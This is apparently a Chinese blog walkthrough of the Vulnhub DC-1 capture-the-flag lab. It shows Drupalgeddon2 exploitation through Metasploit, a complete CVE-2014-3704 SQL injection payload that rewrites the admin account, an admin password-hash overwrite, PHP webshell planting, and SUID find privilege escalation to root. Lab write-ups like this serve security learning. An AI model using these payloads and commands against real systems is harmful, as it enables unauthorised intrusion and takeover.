Vulnhub[DC1]
简介

下载
- DC-1.zip (Size: 733 MB)
- Download: http://www.five86.com/downloads/DC-1.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-1.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-1.zip.torrent
流程
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24

经过筛选可以知道192.168.0.150 是DC-1的ip
端口扫描
nmap -p- 192.168.0.150

可以这里开启了22、80、111端口
我们先从80端口入手

这里可以发现用的是DrupalCMS
渗透
Flag1
启动msf,搜索下Drupal可用的EXP
search Drupal

这里我们选用exploit/unix/webapp/drupal_drupalgeddon2
因为他是最新的,而且品质为excellent
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.0.150
show options

run

这样我们就可以成功得到一个会话。
我们用会话返回一个shell

查看目录,获取flag1

Every good CMS needs a config file - and so do you.
翻译:每个好的 CMS 都需要一个配置文件——你也一样。
这里也就是提示说去查看DrupalCMS的配置文件
Flag2
DrupalCMS的默认配置文件为 /var/www/sites/default/settings.php

这里我们获得数据库的账号dbuser和密码R0ck3t
- flag2
- Brute force and dictionary attacks aren't the
- only ways to gain access (and you WILL need access).
- What can you do with these credentials?
翻译:
- 蛮力和字典攻击不是
- 获得访问权限的唯一方法(您将需要访问权限)。
- 您可以使用这些凭据做什么?
Flag3
这里我们直接连接mysql之后shell会没有反应的
这里我们需要用python转换成标准的shell
python -c "import pty;pty.spawn('/bin/bash')"

连接mysql

常规的mysql查询


这里的密码是经过drupal加密
在scripts的文件夹中有用来算密码的脚本
但是因为靶机的环境原因会报错

但是可以查到
明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
直接update更新admin密码
update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';
然后进行登录

经过查看可以发现Flag3


Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
翻译:特殊权限将有助于查找密码 - 但您需要 -exec 该命令才能确定如何获取阴影中的内容。
这里提示我们提示用find -exec,想到用suid提权
Flag4
使用find / -name flag*.txt命令,直接来查找flag文件,获取到flag4

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
翻译:
您可以使用相同的方法在 root 中查找或访问标志吗?
大概。但也许这并不容易。或者也许是?
提权
使用find找下具有root权限的suid
find / -perm -u=s -type f 2>/dev/null

可以看到find是可以用来提权的
我们尝试用find执行命令
# 这里需要注意-name参数填写的文件名,是需要系统真实存在的
find / -name flag4 -exec "whoami" \;

可以发现这使用的root用户权限
那么我们接下来用find提权
find / -name flag4 -exec "/bin/sh" \;

这里可以发现已经是root用户了

这算是预期解了,按照顺序下来的
非预期解
首先用nmap -A --script=vuln 192.168.0.150扫描靶机
开放了80和22端口,并且存在cve-2014-3704

漏洞利用

cve-2014-3704这个漏洞是sql注入,能直接数据库添加用户名和密码
payload
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'root'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a
将上述payload贴进来,发包后,将会创建一个用户名为:root 密码:thanks的账户

成功用新用户登录进去
然后同样的可以找到flag3
flag3提示用find -exec,想到用suid提权
来到modules,开启php filter

新建articel文章,并写入php一句话木马,底下的text format换成PHP code

文章成功发布后,使用蚁剑连接
然后的流程和预期解差不多
也可以根据提示直接提权

浙公网安备 33010602011771号